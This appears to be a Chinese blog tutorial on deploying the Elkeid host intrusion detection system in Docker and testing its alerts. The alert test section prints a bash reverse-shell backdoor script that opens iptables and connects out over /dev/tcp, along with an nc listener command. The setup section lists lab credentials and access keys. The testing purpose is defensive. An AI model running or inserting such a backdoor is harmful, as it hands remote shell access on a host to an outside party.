开源主机入侵检测系统Elkeid 安装及功能测试

一、系统简介

  Elkeid 是一款主机型入侵检测系统(HIDS),可以满足 主机,容器与容器集群,Serverless 等多种工作负载安全需求的开源解决方案,源于字节跳动内部最佳实践。HIDS使用传统的C/S架构,只需要在监测端安装agent即可,类似于一些云厂商的主机安全系统。
  Elkeid分为社区版和商业版,更多介绍见官网文档:https://elkeid.bytedance.com/docs/README-zh_CN.html

二、使用Docker快速部署

测试环境 Centos7.9  和Docke  25.0.3

1、导入镜像

# 下载分卷然后合并【镜像包3.4GB,比较大,导入容器后8GB左右,整个过程会比较慢】
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.00
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.01
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.02
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.03
cat elkeidup_image_v1.9.1.tar.gz.* > elkeidup_image_v1.9.1.tar.gz

#导入镜像
docker load -i elkeidup_image_v1.9.1.tar.gz

2、运行容器

docker run -d --name elkeid_community \
  --restart=unless-stopped \
  -v /sys/fs/cgroup:/sys/fs/cgroup:ro \
  -p 8071:8071 -p 8072:8072 -p 8080:8080 \
  -p 8081:8081 -p 8082:8082 -p 8089:8080  -p 8090:8090\
  --privileged \
  elkeid/all-in-one:v1.9.1

3、设置对外IP

docker exec -it elkeid_community bash
cd /root/.elkeidup/
# 命令为交互式
./elkeidup public 192.168.25.222  #配置IP
./elkeidup agent init
./elkeidup agent build
./elkeidup agent policy create
cat ~/.elkeidup/elkeid_passwd  #查看密码
部分安装过程截图:

4、账号密码及登录信息

[root@b22b1c5c8cf5 .elkeidup]# cat ~/.elkeidup/elkeid_passwd
Redis:  a9r54d55c1ho5om8r3
nginx_uploader: admin 8t8aac4541n2a3k7pm
prometheus: admin 2rcqks04d9nf5i8479
Mongodb: admin 8g9ge47l16qm06f0n5
Mongodb: elkeid 190f54c6ddq10r3k6k
AC: AK vskbteodj942emoy
AC: SK 7bk63t810l3czi7b6vvd6gpxlqsq8ype
MG: AK 93z3vfiz57iofvtl
MG: SK j7sjxxdv5iaqnq69ull0t1rbcc3y6yx5
LD: AK jvzx2984vy60c534
LD: SK vtuv3ng19f9c68hl1y901da8bwg4dxy2
elkeid_console: root 7rkm95s09kl23o85diZP
elkeid_console: admin olkot63n2km953s84qWW
elkeid_hub_frontend: elkeid_hub 1do6n4end23kj52963RK
grafana: admin 7q83dm8715fn355b6d
Kafka: admin: elkeid 
elkeid_kafka: 127.0.0.1:9092; 
grafana: http://127.0.0.1:8083 
elkeid_hub_frontend: http://127.0.0.1:8081 
elkeid_console: http://127.0.0.1:8082 
elkeid_service_discovery: 127.0.0.1:8089

三、登录Elkeid控制台

1、安装Agent

2、功能预览

资产中心
资产指纹

四、安全检测功能测试

1、入侵检测(告警)功能测试(和Wazuh做对比,一些异常行为都能检测到)

①反连后门测试
准备反连脚本bash_tcp_backdoor.sh
[root@Zookeeper tmp]# cat bash_tcp_backdoor.sh 
#!/bin/bash
if netstat -ano|grep -v grep | grep "192.168.20.15">/dev/null
# Romote IP
	then
	echo "OK">/dev/null
	else
		/sbin/iptables --policy INPUT ACCEPT
		/sbin/iptables --policy OUTPUT ACCEPT
# iptables allow
		bash -i >& /dev/tcp/192.168.20.15/6666 0>&1
		fi

#在20.15上监听端口 nc -l -v -p 6666
#在Zookeeper主机上允许该脚本
发现马上触发了安全告警
② rootkit后门触发测试
安装 Reptile-rootkit 和mafix  rootkit程序测试,成功触发到
③ SSH爆破触发测试,成功触发

2、漏洞检测(和Wazuh相比,能检测到的漏洞非常有限)

3、基线检测(弱口令字典有限,不能手工添加)

4、病毒扫描(各种一句话webshell基本都能扫描到)

5、容器集群配置测试(已按文档配置,但入侵&威胁检测模块一直失效,目前未找到解决方法)